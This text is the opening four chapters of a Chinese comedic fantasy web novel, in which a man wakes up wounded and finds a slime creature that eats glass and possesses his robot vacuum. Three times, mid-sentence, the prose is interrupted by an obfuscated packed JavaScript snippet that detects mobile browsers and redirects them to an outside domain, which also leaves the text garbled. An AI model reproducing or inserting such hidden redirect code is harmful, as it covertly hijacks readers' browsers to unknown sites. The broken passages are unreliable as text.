《疯批教你养大boss》 1. 第 1 章 季琉睁开眼的时候，他正以一种扭曲的姿势，卡在浴室淋浴用的玻璃门里面，半躺在冰冷的瓷砖上。 很难想象，人类能在如此狭小的空间里扭成麻花，然后保持这个姿势整整一晚上。 季琉：？ 季琉：“……” 季琉头疼欲裂，浑身无力，他花了好几秒，才意识到他还活着。 瓷砖还是湿的，玻璃门上有一层水雾。 花洒的开关没有关好，一滴水从喷头滴落下来，打在地面上，发出“啪嗒”一声响。 季琉扭动了一下身体，像是一条在冰箱冻久了的鱼，艰难地给自己换了一个翻了一个面。 但即便如此，他整个人都还是蜷缩在狭小的浴室玻璃门里，大长腿无处安放。 季琉想，完了。 昨天晚上他不该喝那么多酒，更不该独自去海滩上乱跑。 如果一个人喝酒断片了，那并不是一个恐怖的事情。 更加恐怖的是，他不知道是谁把他送回来家的，那人为什么会知道他家地址，还有…… 为什么要把他浑身伤地丢在这里。 季琉还穿着昨天的衣服。 深色的外套皱巴巴的，上面还有沙粒，稍微干了的地方上有一层白色的盐渍，像是咸菜干。 好消息是，他的衣服没有少。 至少说明他昏迷的时候，清白还在。 坏消息是，他口袋里的手机不见了。 低头瞥了一眼自己的胸口后，季琉朝玻璃门上看去。 现在大概五点，天刚亮，旁边的小窗半开，些微的光线照了进来，整个浴室呈现蓝色调，浴室里面的东西勉强显现出了轮廓。 季琉的右边额角很疼。 眼珠向上看的时候，季琉不可避免地睁大了眼睛，而动作一大，他才察觉到，自己的右眼还有奇怪的粘稠感，似乎之前有什么液体黏在睫毛上。 视线有点模糊。 粘在眼睫毛上的好像是干涸的血。 沉默了几秒后，季琉抬起手。 而这么一动作，季琉再次发现，他的双手双脚也很疼，关节有一种奇怪的酸涩感，但想想醒过来的姿势，似乎又不那么奇怪。 手指能动，但是手侧和手腕有一片擦伤。 动作顿了顿，季琉缓缓翻过手掌，拿手背擦掉了眼睫毛上干涸的血渍。 擦掉血块，等视线清晰后，季琉抬头看向了浴室玻璃门上的把手位置。 那里是磨砂玻璃。 而白色的磨砂玻璃上，赫然有一个血手印。 从上面蹭到的血迹来看，有人打开了浴室玻璃门，然后把季琉拖了进去。 真的……太糟糕了。 按照他看了那么多悬疑电影的套路，这种情况，凶手必然没有走远，把猎物拖入浴室，是为了方便下一步处理。 他得做些什么，不然，可能过几天，可能会有人在不同地方找到他身体的不同部位。 侧耳倾听了几秒，季琉没有听到浴室外的任何响动。 确认外面的凶手暂时不会进来后，季琉缓缓地移动自己的身体，站了起来。 他打开玻璃门，走了出去。 为了避免发出声响，季琉脱下了泡满水的鞋袜，赤脚踩在瓷砖上。 脚踏实地的感觉让人安心。 至少再次证明他还活着。 季琉缓缓抬脚，朝着浴室的收纳柜走去。 冰冷的瓷砖上留下一个个湿冷的脚印，路过洗手池上方的镜子时，季琉看了一眼—— 镜子里面的那人影，像是个男鬼。 浴室里氤氲着蓝色的光影，大多数地方都笼罩在一片黑暗中。 所以，白色特别明显。 镜子里的那个人穿着湿漉漉的黑色外套，肤色森白，唇也很薄，没有血色，五官锐利，偏黑的瞳孔如同深渊，没有焦距，透不出一丝光。 微长的黑色碎发耷拉着，发尾拢在肩上，还在滴水。 唯一的一点别的颜色，就是额头上的伤口。 红色的血痕从额角的伤口向下蜿蜒，半张脸上都是血氧化后留下的红黑色血渍。 完全像是个从水里爬出来的，怨气深重，要□□的男鬼。 季琉幽幽瞥了一眼镜子里的自己，他把黑色外套脱下—— 本意是避免外套约束动作，结果把外套脱下后，季琉看见里面的白衬衣上，更是有一大片，红色的血痕。 红色的血痕已经氧化变成了暗红色，但这么一大片，也能说明当时血如泉涌，他现在脸色惨白就可能是因为失血过多。 季琉的动作顿了顿。 他摸了摸自己的心口，确认里面的心脏还在跳动。 然后，他在衬衣上，肋骨下方的位置，找到了一个洞。 而等季琉的手指穿入衬衣上的洞时，他只触摸到了一片冰凉的皮肤。 他没受伤，但衬衣上明显有个刀捅入的破口。 季琉：？ “咔嚓” 浴室外突然传来玻璃炸裂的声响，一下子吸引走了季琉的注意。 等意识到凶手还在外后，季琉迅速回过神，把这个问题放到脑后，忍住头疼，转身从旁边的收纳柜里，掏出了一节钢管。 双手握住钢管，用力捏了捏，确认有一击必杀的力道后，季琉深吸了一口气，慢慢朝着浴室门口走去。 他认为，对于一个敢入室抢劫的凶手，没必要有什么不忍。 大不了到时候以正当防卫辩护。 这么想着，季琉缓缓地打开了浴室门。 季琉如今的家不大。 在c市房价这么高的地方，有一个落脚地就算不错了，考虑来考虑去，季琉选择买了一个二手房。 这个房子有一定年纪了，好在位置不错，在老城区，唯一问题就是小了点。 现在，面积小倒也成优势了。 从浴室出来后，季琉蹑手蹑脚地地走到转角，不动声色地环视了一番，目光所及之处的重点房间，厨房和卧室并没有人影。 说明凶手在客厅。 确认家里没有其余人后，季琉沉了沉脸，握住钢管，朝着客厅走去。 与此同时，他听到了奇怪的声音—— “咔擦咔擦咔擦” 像是玻璃被一寸寸碾碎了的声音。 有些奇怪。 为什么这个凶手所做的一切，都在反直觉？ 季琉皱了一下眉，他继续超前走去，随着离沙发越来越近，季琉手里的钢管也越举越高—— “咔擦” 玻璃破碎的声音停了下来。 客厅茶几上，一个透明的小团子如有所感，它叼着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238732|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片玻璃，停下了吞噬的动作。 季琉的眼神恍惚了一下。 客厅里的茶几是他选的。 木质边框，桌面是玻璃的。 不贵。 可问题是，现在茶几被吃了大半，上面的玻璃桌面已经消失了一半，而从消失的玻璃边缘来看，“齿痕”是一个个圆形，大小目测和这个小团子差不多。 由此可见，这个拳头大小的小团子是罪魁祸首。 在季琉思维迷茫时，小团子如有所感，略微透明的小团子浑身一颤，两颗豆豆眼丝滑地旋转到身后，和季琉对上了眼。 然后，这小团子，露出了“震惊”的表情。 ……季琉也不知道这个只有两颗豆豆眼的小团子，是如何表达出情感的。 总之，一人一团子对视，都从对方的眼睛里看出“震惊”和“不敢置信”的表情。 季琉想，它似乎震惊我还活着。 紧接着，季琉看见小团子露出一个恐惧的表情，整个团子往下一压，发出一声响亮的“噗叽”。 看这团子的样子，季琉眉心一跳，他下意识就联想到了蟑螂特有的跳脸技能，于是条件反射地用手里的钢管往下一砸—— “啪” 钢管上传来的反震提示着季琉他砸得力气有多大。 小团子没来得及跳，就直接被砸成了一个饼。 剩下的茶几也壮烈牺牲。 季琉顾不上满地的玻璃渣子，他挪开手里的钢管，看着木质桌面上残存的小团子饼，眉心还在跳。 就这样？ 季琉揉了揉太阳穴，他感觉自己的头更疼了。 揉了一会儿太阳穴，等季琉再次把手放下来的时候，他看着桌子上的团子饼，忽然感觉鼻腔一热。 两滴血滴在了地板上。 季琉：？ “噗叽！” 小团子饼一下子又撑了起来，它睁着一双黑豆豆眼，冲季琉叫了一声。 而就在那一刻，季琉一边掐着眼角试图制止流鼻血，一边感受着心中突如其来的一种“开心”的情绪。 这个情绪绝对不是他的。 季琉沉默了几秒，他用手背擦去鼻血，问： “你是活的？” “噗叽。” “我流的鼻血，跟你有关？” “噗叽叽。” “你真不是我的幻觉？” “噗叽。” “会说人话吗？” 可惜，面前小团子只会一个劲“噗叽”。 季琉隐约能察觉到小团子简单的情绪，可他搞不清楚小团子在想什么。 季琉看了眼手里的钢管，陷入了沉思。 季琉深沉地想。 我的病果然更加严重了。 面前的幻觉都能如此真实吗？ 按照他曾经查的资料来看，病人似乎能让【幻觉】逻辑自洽。 不行，得找医生看看。 只是……为什么他的幻觉是一团史莱姆团子？ “那我现在这个样子，是你造成的吗？” 季琉问。 小团子看着距离自己头顶只有几毫米的钢管，黑豆豆眼眨了眨，然后分出一缕小触手，小心翼翼地把钢管往上推。 季琉感受着心底多出来的“心虚”，微妙地眯了眯眼睛。 2. 第 2 章 我得去看医生。 幻觉越来越真实了。 季琉一边打扫卫生，一边思考着这个问题。 把碎了一地的玻璃渣子都清扫完毕后，季琉才去收拾自己。 他去洗了一个澡。 头上的伤口看着恐怖，实际上已经停止流血了，洗完澡后，季琉只是简单地给自己贴了一个创可贴。 洗完澡后，季琉站在浴室的玻璃门前，弯下腰，仔细打量玻璃门上那个带血的手掌印。 洗澡时雾气弥漫，那个血手掌印已经慢慢地晕染开了，糊在玻璃门上，看上去更像是一团血花。 似乎并没有其他人进入过他的房子。 季琉思考了几秒，福至心灵的，他把玻璃门打开，调整了一下自己的站位，然后，把自己的右手手掌，按到了血色掌印的地方。 很好，那个血掌印和自己的手一样大。 意识到这个问题后，季琉的眼角抽了抽。 其实这个问题并没有答案，毕竟他没有在浴室里面真的装摄像头。 季琉的脸色阴晴不定，他收回自己的手，然后直起身，顺手拿起花洒头把玻璃门上的血手印冲洗干净。 出浴室之前，季琉看了一眼自己在镜子里面的影子。 很好，脸上有了点血色，终于属于活人。 可是……脸上挂着的两个黑眼圈还是不可忽视，配上本人没睡好的怨气，看上去还是像个男鬼。 男鬼本人沉默了几秒，他决定忽视掉这个，毕竟家里多出来的东西才是真的恐怖。 季琉拿着脏衣篓，往客厅里走，越过沙发后，他听见了木头被割开时的“咔擦”声。 仔细一看，茶几剩下的木质部分上面也出现了圆形齿痕，小团子跟团史莱姆一样滩在茶几仅剩的一条完整腿上，它正努力地啃上面的木头。 好消息是，史莱姆进食方式是腐蚀，不会有木屑掉下来。 季琉抽了抽眼角，他拿起沙发上的钢管，面无表情就往史莱姆头上敲。 “啪叽” 史莱姆变成了一块饼，缓缓地从木头腿上滑了下来，掉在地上。 “你很饿吗？” 季琉无语，他把钢管放到沙发上，忍不住教训起来， “我不介意你乱吃东西，但你能不能开动之前跟我说一声，我可不想有天坐椅子的时候，椅子腿直接断掉，我摔在地上。” 史莱姆动了动，果冻一样的身体重新聚拢成球体，它颤颤巍巍地从表面，对着季琉竖起了一根小触手。 那应该是中指。 季琉：“……” 他无视了史莱姆的反抗。 现在有必要搞清楚昨天晚上发生了什么，季琉坐到沙发上，开始努力回忆昨天发生的事情。 因为自身某些原因，季琉选择自己开了一个宠物小诊所。 c市很小，季琉的小诊所也就帮着洗洗宠物，遛遛狗，帮忙爱心人士照看一下救助的流浪动物。 后来因事情多了，季琉才收了一个大学生兼职打工。 昨天季琉带那个大学生熟悉了一下业务，然后就一个人看店。 等晚上关上诊所后，季琉想着今天又是他生日，于是跑去海边，想着静一静，顺便散散步。 结果，晚上景色太好，季琉有点感慨，在海边散步时，喝得有点多…… 后面的记忆戛然而止。 他只记得，自己在完全失去记忆前，毫无风度地在海边大喊大叫来发泄情绪。 “我真的疯了？” 季琉喃喃自语。 同时，他也不想承认，昨天在海边大喊大叫的人是他。 除此之外，他的衬衣上的刀口也令人沉思。 因为季琉发现，衬衣背后也有一个破口。 如果按照这个逻辑的话，应该是有一把刀直接贯穿了他的胸口，刀尖从背面穿出。 这样定义的话，他被人抢劫谋害的可能性更大。 把带血的衬衣收回，季琉靠在沙发上，看着脚下的史莱姆转身啃他的拖鞋，语气平静得可怕： “你救了我？” 史莱姆停下了动作。 季琉注视它半晌，感受着心底的情绪—— 心虚。 还是心虚。 “也就是说，你本意不是救我。” 季琉弯下腰，他用两根手指把史莱姆团子捏起来，眼神微妙， “你不会是想吃了我吧？” 史莱姆颤颤巍巍地包裹住季琉捏它的手指，咬了咬。 很神奇的，这个史莱姆明明能腐蚀玻璃和木头，季琉却没有感到疼痛，他只感到了一点酥酥麻麻的痒。 季琉：“……算了。” 看到客厅挂着的时钟已经到了8点，季琉站起来，把史莱姆甩到了沙发上，然后他走向卧室，准备给招过来的大学生说说情况。 在卧室找到备用机后，季琉盯着手机界面，回忆了许久，才勉强记起昨天招的大学生的电话。 兼职工叫周眠，是个大四的男大学生，长得很乖巧可爱，一笑两个小酒窝，像只小绵羊。 等了一会儿后，手机才打通，季琉率先开口： “小眠，我是季琉。” 周眠那边应该很惊讶，他顿了好几秒，才发出一声气音： “季医生？” “我原来的手机丢了。” 季琉按了按太阳穴，他叹了一口气，生无可恋， “今天帮我去店里给宠物们喂一下饭，然后明天再正式上班吧。” 周眠：“好的。季医生，你还好吧？昨天晚上我就看你好像喝多了。” “没事。就是多了个宠物。” “啊？” “没什么。工资的话，我还是算你一个月的。” 手机另一边陷入了诡异的沉默。 “季医生，您真的，没什么事吗？” 周眠再次问了一遍。 “嗯。” 季琉皱了一下眉，反问道， “你怎么知道我昨天喝多了？” 周眠笑了一下： “昨天晚上，我开车回家路上看见您手上抱着一提啤酒，因为不好停车，我没有跟您打招呼。” 季琉顿了顿，索性没继续这个话题。 挂了电话，走出卧室后，季琉看向了沙发。 史莱姆竟然特别老实，它没啃—— 哦，不。 它啃了一口沙发垫子，沙发垫子上面有个圆形齿痕，但它没继续啃。 “噗叽” 史莱姆嫌弃地朝外喷了一地垫子碎屑。 干净的地板上多了一地碎屑。 季琉额头上蹦出一个青筋。 “小史。” 季琉温柔地叫出了史莱姆的名字，他从沙发上重新拿起钢管， “我话从不说第二遍。” 史莱姆一僵，两颗豆豆眼顺滑地在表面上滑过，看向了季琉。 一人一团子对视半晌后，在季琉举手的那一刻，史莱姆突然像颗炮弹一样蹿了出去。 它非常有韧性地在地上蹦了几下后，慌不择路地朝着远离季琉的方向蹦去—— “啪嗒” 季琉眼睁睁地看着史莱姆打在了屋脚正在充电的扫地机器人上面，变成扁扁的一滩果冻，然后，“嗡”的一声。 扫地机器人启动了。 “嗡” 扫地机器人工作了。 扫地机器人把史莱姆“唰”的一声吸进去了。 扫地机器人卡住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238733|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 扫地机器人在疯狂报错。 季琉一时之间不知道该抢救史莱姆，还是应该抢救扫地机器人。 好在报错声一会儿就停止了，扫地机器人身上绿灯重新亮起。 然后，季琉就看着自家扫地机器人掉头，对准了他的脚。 “嗡——” 扫地机器人气势汹汹地冲他冲了过来，一副不把他吸走就誓不罢休的样子。 季琉：“……” 可惜体型差在那里，扫地机器人当然对季琉做不了什么，它只能从季琉脚上碾过去泄愤。 季琉觉得自己额角又在跳，捏住钢管的手一下子紧一下子松。 要不是自家扫地机器人三千多，他早就把钢管挥下去了。 来回被碾了三次后，季琉终于抓准时机，一把抓住了扫地机器人。 扫地机器人头上绿灯疯狂闪了闪，屁股底下的扫轮转得飞快，尝试从季琉手里重获自由。 在那一刻，感受着手里扫地机器人的震动，季琉无比心累。 与其说他手里的是个扫地机器人，不如说是一条二哈。 意识到无法弄出史莱姆后，季琉也懒得继续尝试，他把扫地机器人翻了个底朝天，然后放在了地上。 疯狂扫地的智障机器人顿了顿，下一秒它继续疯狂转扫轮，可惜只能扫个寂寞。 此时此刻的它，没了一开始碾季琉脚背的傲气，已经完全像个被翻盖的乌龟，四脚朝天，想翻翻不过来。 季琉看着地上嗡鸣的扫地机器人，沉默半晌，他坐在沙发上，从沙发底下掏出一张名片，用手机打了上面的电话。 “您好，光明心理咨询诊所竭诚为您服务。” 季琉：“周医生在吗？我是他的病人，季琉，我觉得，我今天有必要增加一次心理疏导。” 电话那边的前台小姐姐： “我知道您，季先生，怎么了？今天周医生休假了。” “嗡——” 扫地机器人把自己震到了茶几桌角，凭借着顽强的毅力—— 哦，它没有。 在季琉的注视下，扫地机器人停下来，吸尘口快速弹出一根透明的小触手黏在了茶几脚上。 然后，小触手一用力，艰难，但成功地把扫地机器人给翻了过来。 季琉：“……” 感受着心底莫名出现的“成就感”和骄傲情绪，他无语凝噎。 “嗡——” 翻过来后，扫地机器人兴高采烈，马力十足地朝着季琉的脚趾撞了过去。 “砰” 季琉的表情瞬间扭曲万分。 他的小脚趾。 可能是季琉那边停顿太久，让前台小姐姐有些担心，甜美的声音打断了季琉的杀意： “季先生？” “我出现了一个幻觉，它是个史莱姆。” 季琉小声抽着气，瞪着脚边的扫地机器人，说， “它现在正操控我的扫地机器人，试图谋杀我。” 前台小姐姐：“……是这样的，季先生，虽然周医生不在，我可以让李医生看看您的病情。” 季琉：“你不信它能操控扫地机器人？还是不信它想杀我？” 前台小姐姐：“呃，这个……” 季琉：“我把它带来，你们就知道了。” 前台小姐姐：“……” 挂了电话后，季琉一脸阴沉地站起了身，看着扫地机器人。 山雨欲来风满楼。 扫地机器人顿了顿，它意识到气氛变了，于是迅速地转身，滴溜溜地飞快—— 可惜的是，由于程序限定，扫地机器人只能缓慢的，朝着远离季琉的方向前进。 “你完了。” 季琉说。 3. 第 3 章 季琉找来了一套工具，他无视扫地机器人的报错，准备大卸八块，把史莱姆掏出来。 然而事实证明，他掏不出来。 把扫地机器人翻过来，卸下所有螺丝钉后，季琉拿下各种配件，终于看见了扫地机器人内部的样子。 首先映入眼帘的，是两颗黑色的豆豆眼。 那两颗豆豆眼，还十分生动地眨巴眨巴，看着他。 史莱姆不再是球体，而是以一种流体在扫地机器人内部流动，粘着各种零件。 黏黏糊糊的。 还是活的。 季琉忽然特别想把怀里的扫地机器人给丢出去。 因为这个场景并不可爱，还有点掉san。 “出来。” 季琉用手里的螺丝刀指着里面，说道。 史莱姆“噗叽”了一声，然后弹出几根小触手，以迅雷不及掩耳之势粘在放在旁边的各个零件，“啪啪啪”几声，弹回小触手，顺便把扫地机器人复原了。 季琉：“……” 茫然了几秒后，季琉试图用螺丝刀沿着缝隙撬开，结果却发现，这扫地机器人粘得特别紧，连撬都没办法撬。 一根青筋在季琉头上蹦跶。 思考几秒后，季琉放弃了挣扎，他决定算了，直接带着整个扫地机器人去诊所。 把家里又收拾了一遍，季琉抬头看了一眼挂在客厅墙壁上的钟，发现已经到了九点，如果再拖下去的话，可能中午才能到诊所。 想到这里，季琉起身朝卧室走去。 十分钟后，季琉已经换好了衣服。 微长的发尾在脑后扎了一个小揪揪，身上穿着浅色的衬衣外套和短袖，脚下是一双运动鞋。 如果只看外表的话，季琉现在这个样子混进大学都没什么问题。 他手里拿着一个双肩包，从衣柜最底层翻出来的。 果不其然，当季琉回到客厅的时候，客厅中央的扫地机器人已经恢复了原样，它在地上嗡来嗡去，季琉甚至还感受到了“无聊”的情绪。 看上去，之前季琉对扫地机器人的拆卸，一点都没有影响到史莱姆和扫地机器人。 “很好。” 季琉语气平静，他现在非常冷静，波澜不惊，有一种下一秒世界爆炸都无所谓的微死感。 他弯下腰，趁着扫地机器人不注意，一把把扫地机器人塞进了双肩包，冷酷地拉上了拉链。 双肩包里的扫地机器人停止运作了几秒，随后它疯狂嗡鸣。 “你听着，我现在对你容忍，是因为这个价值三千的扫地机器人还没坏，你想想，如果它坏了的话，我会怎么做。” 季琉抱着双肩包，用一种平淡的语气威胁道， “钢管毕竟不好过安检。” 双肩包一下子安静下来。 虽说不知道季琉为什么会在浴室里放钢管，但钢管真的能把史莱姆锤成一张饼。 由于怕扫地机器人又出什么幺蛾子，季琉是抱着双肩包出门的。 下了楼之后，往东边走几步，就是老城区自建房组成的一条小道。 住在这里的大多是是中老年人，平时十分安逸，为了赚点钱补贴家用，不少中老年人用自家门口开个小早点摊。 当然了，当季琉这个时间点下去的时候，早点摊差不多结束了，摊主们陆陆续续地在收摊。 “哎呀，这不是小季吗？快过来，秋姨给你留了牛肉包！” 季琉刚出现在小道上，旁边一个洪亮的大嗓门就吸引了季琉注意。 他扭头看过去，看见西边的一个包子铺的门口，一个围着红色围裙的中年阿姨，笑眯眯地叉着腰看着他。 季琉沉默地看向她，视线忍不住往上瞥了一眼。 胖乎乎的中年阿姨烫了一个方便面头，方便面头顶上漂浮着一个巴掌大小的感叹号。 有任务接取。 季琉：“……” 季琉顿了顿，装作若无其事地瞥了一眼旁边走过去的路人。 路人头顶空无一物。 果然，幻觉又出现了。 季琉在心里暗暗叹了一口气。 这就是他的毛病。 在五年前，季琉发现，他有的时候…… 会在某些人头顶，看见不同的符号。 总之，一言难尽。 有的人头顶上会顶着个感叹号，有的是问号。 关于这两个符号，季琉试图研究过，他粗略发现，不同符号代表不同诉求： 如果一个人顶着问号，那么意味这个人有些疑惑，需要人解答； 而如果一个人顶着感叹号，就是说，这个人需要有人帮忙。 问号也可以转换为感叹号。 当然，这结论并不是百分百正确，季琉曾经看着那些符号，尝试询问这些头顶飘着符号的人，而结果么—— 不是很好。 他被不少人当成疯子。 一次两次后，季琉也在想，他真的疯了？ 为什么他会出现这种奇怪的幻觉呢？ 季琉曾经找过无数的心理医师，他们都没能给出一个回答，直至季琉找到了周医生，周医生给季琉吃了点药，自此，幻觉消失。 季琉再也没看到奇奇怪怪的符号飘在人头顶上，但相应的，由于药物作用，他身体没以前那么好了。 本来，季琉以为，自己在好转。 结果，今天早上，真的是糟透了。 幻觉又出现了。 还变本加厉。 “小季，在想啥啊，快过来啊。” 秋姨冲季琉摆摆手，说， “快点，我要收摊了。” 听到催促，季琉慢慢吞吞走过去，接过秋姨的牛肉包，小声地道了谢。 他看了眼秋姨头顶，感叹号已经消失了。 “谢啥谢，前几天多亏你帮我修了一下门口的灯，如果不是你，我还不知道要摸黑多久呢。” 秋姨笑眯眯地用围裙擦着手。 然后，秋姨仔细看了眼季琉，担忧地问道： “小季，没睡好啊，瞧这两黑眼圈。” 虽说季琉搬到这里不久，但因为是小区仅剩的不多的年轻人，这些中老年人们往往喜欢多关注季琉一下。 而季琉……他因为强迫症，受不了那些漂浮在视线内的感叹号，总是看到老人头上出现个感叹号就去解决，比如修个水龙头啊，换个灯泡什么的。 不论是强迫症也好，还是单纯助人为乐，在其他人眼里，季琉就是一个看上去有些阴郁，性格有点内向，但实际是个热心肠的大好人。 “我昨天晚上没睡好。” 季琉咬着香喷喷的牛肉包，犹豫了一下，解释道， “我今天早上去看医生。” 会乖巧答话的孩子谁家不喜欢。 秋姨连忙塞了一杯豆浆给季琉： “别站着吃，到旁边的凳子上坐着。” 季琉嚼嚼嚼，一边默默地到门口的塑料凳子上坐下。 然而没坐多久，季琉的眼神飘忽，他不自觉地抬头看天。 几秒后，季琉站起来，他把双肩包和豆浆放在凳子上，迅速小跑地跑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238734|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斜对角的院子那里，一把扶住了歪歪斜斜正要倾倒的大箱子。 正在搬货的爷孙两人吓了一跳，他们看向了季琉。 看见季琉的样子后…… 孙女连忙看了一下天空，确定有大太阳后，又连忙看了一下地面，确认面前的人有影子，她这明显才松了一口气，揉了揉发红的手。 看见孙女的动作，季琉的眼角抽搐了一下，解释道： “我帮你们吧。” 满头白发的爷爷愣了一下，他倒是没想那么多，见有人帮忙，连忙道谢： “谢谢小伙子哎，我还愁这么重的箱子，光我和孙女两个搬不搬地动……帮我搬到三轮车上。” 季琉依言照做，吭哧吭哧地帮着搬着半人高的箱子，挪到了一边的三轮车上。 做完这些，在爷孙两人的道谢声中，季琉以一种微妙的表情看了一眼老头头顶，然后像游魂一样飘回了包子铺。 “你们年轻人视力就是好，我都没看见老刘正在搬货。” 秋姨一边麻利地收拾蒸笼，一边说， “你咋看到的？” 秋姨家前面有一个广告牌，正好遮挡了视线，站在院子里，按理来说，根本看不到斜对面老刘家在干什么。 “直觉。” 季琉说。 实际上…… 季琉的确没看到对面的爷孙两个在做什么。 之所以过去，是因为他眼睁睁看着一个跳动的感叹号，从广告牌上飘了上去，出现在他的视野里，还动态的一闪一闪，由蓝色变成了红色。 于是，脑子还没反应过来，人先过去了。 幻觉……现在升级到如此生动形象，还有动态效果…… 季琉心一沉，总觉得有什么不好的事在等着他。 “小小年纪，神神叨叨的……” 见季琉走神了，秋姨嘀嘀咕咕，寻思着要不要煮碗汤给季琉喝。 正在这时，“汪！”一声，一条白色的小土狗从旁边冒了出来。 见到季琉和秋姨，它开心地摇了摇尾巴，冲着季琉慢慢走来。 “哟，小白，出去浪完了回来了？” 秋姨抬起头，看见小白狗走到院子里来，忍不住嗔骂了一句，然后她满面笑容地去里屋端了一碗饭。 端着碗走到院子里，秋姨一边把碗放到地上，一边数落： “臭狗，天天只知道吃饭才回来。” 小白是秋姨家散养的田园犬，小小的一只，喜欢到处蹭饭。 “呜呜呜——” 听到主人骂自己，小白摇了摇尾巴，冲着秋姨叫了一声，欢快地朝着秋姨跑去—— 等等。 经过季琉的时候，小白顿住了。 它的尾巴也不摇了，疑惑地看向季琉。 季琉与小白对视几秒，他看了眼手里。 牛肉包已经吃完了。 “嗨，小白？” 季琉试着朝小白狗打了一声招呼。 然而奇怪的是，小白狗一改往日的友好，它突然冲着季琉凶狠地叫了两声。 季琉：？ 与季琉大眼瞪小眼几秒后，小白的气势又突然弱下来，它垂下了尾巴，嘴里发出讨饶的呜呜叫，后退了几步，一溜烟跑到了秋姨身后。 “咋了这是？” 秋姨一头雾水，摸了一把发抖的小白后，看向了季琉。 季琉愣了一下，他站起来，刚想找个理由，他抱在怀里的双肩包突然响亮的发出了一声狗叫： “汪！” 他妈的还是电子音版本的。 4. 第 4 章 半小时后，季琉抱着双肩包坐上了6路公交。 他的手攥着牵引绳末端，表情一言难尽。 这条牵引绳是秋姨给的，据说是买小白的牵引绳时买一送一的赠品。 秋姨没探究季琉双肩包里究竟是什么“狗”，她只是说，如果去市里的话，“狗”还是牵绳吧，姨这里正好多了一条绳子，就给你了。 当时季琉脑子一片空白，他还在疯狂地想，他该如何找出合适的解释。 见秋姨递东西过来，季琉傻傻地接下了牵引绳，直到坐在公交车车座上，他才回过神来。 虽说季琉感动于秋姨另类的“体贴”，但是季琉更在意的是怀里东西究竟是什么。 那么一团史莱姆，一团透明的，橡皮泥一样的史莱姆…… 是怎么操控扫地机器人发出狗叫的？ 扫地机器人有这个功能吗？ “老实点，别发出怪声，我不想向别人解释。” 等好不容易回过神来，季琉拉开怀里的双肩包，对着里面呵斥了一句。 考虑到史莱姆喜欢跟他对着干的尿性，为了避免扫地机器人走丢，季琉看了眼被硬塞的牵引绳…… 他想了想，拿着牵引绳生拉硬套，硬是把扫地机器人给捆上了。 对于自己身上多了条绳子，扫地机器人愤愤地转了几下扫轮。 季琉冷笑一声，忽视掉这微不足道的反抗，把双肩包往上提了提。 结果，这么一动作，季琉才注意到，有个小女孩儿正坐在他对面，而且一直好奇地看着他。 见季琉和她对上视线，小女孩儿天真地问道： “哥哥，你怀里抱着什么呀？” 旁边的女人疑惑地抬头，视线从手机屏幕上移开，瞥了季琉一眼，然后又低头看向手机。 “我跟妈妈一起去宠物店买了一只仓鼠。” 小女孩儿攥着旁边女人的衣角，笑眯眯地朝季琉展示自己手里的一个透明小方盒， “这是我挑的豆豆。” 一只银色的小仓鼠藏在木絮里面，露出一半的黑色豆豆眼看向季琉。 小小的，软软的，萌萌的。 这才是标准的宠物啊。 “哥哥在用狗狗的牵引绳，哥哥的包里是有只小狗狗吗？” 小女孩儿兴奋地问道。 季琉心软了很多。 他犹豫了一下，打开双肩包的拉链，露出一半扫地机器人真容： “其实……” 扫地机器人：“汪！” 现场一片寂静。 听到声音，女人再次抬头，瞪圆了眼睛看向季琉的扫地机器人，又看向季琉。 小女孩儿疑惑地眨巴眨巴眼，想说什么，又说不出来，小脸都憋红了。 季琉心如止水。 季琉面无表情：“狗。” 女人：？ 在母女两人疑惑的视线下，季琉心如死灰，他拍了一下扫地机器人： “跟妹妹打声招呼。” 扫地机器人头上的绿灯闪了一下，然后“嗡”了一声，用屁股下的扫轮冲着母女两画了两圈。 小女孩儿的眼神已经开始发光： “哇。” 小女孩儿的妈妈勉强笑了笑，然后抱着女儿往公交车后排走去，重新坐在角落。 季琉：“……” “哎呀，现在的年轻人就这样，我懂，网上说这叫精神状态美丽，我女儿就养了一个猕猴桃做宠物。” 公交车司机从后视镜里面看到了发生的全过程，他笑呵呵地给季琉解围。 季琉：“。” 接下来的行程中，季琉面目表情，牵着手里的绳子，任由扫地机器人在公交车上到处转悠。 扫地机器人一路悠悠地逛到前面司机那里，转了转身体，两个摄像头对准正在开车的司机上下打量。 司机抽空瞥了一眼，笑呵呵的： “这小玩意儿挺智能的，跟活的一样。” 季琉感受着心底传来的“开心”情绪，一时之间心情复杂，他犹犹豫豫开口接话： “是的，最新科技。” 扫地机器人朝着司机怼去，可惜有道台阶挡着，它怼不了，于是它转身朝季琉逛去。 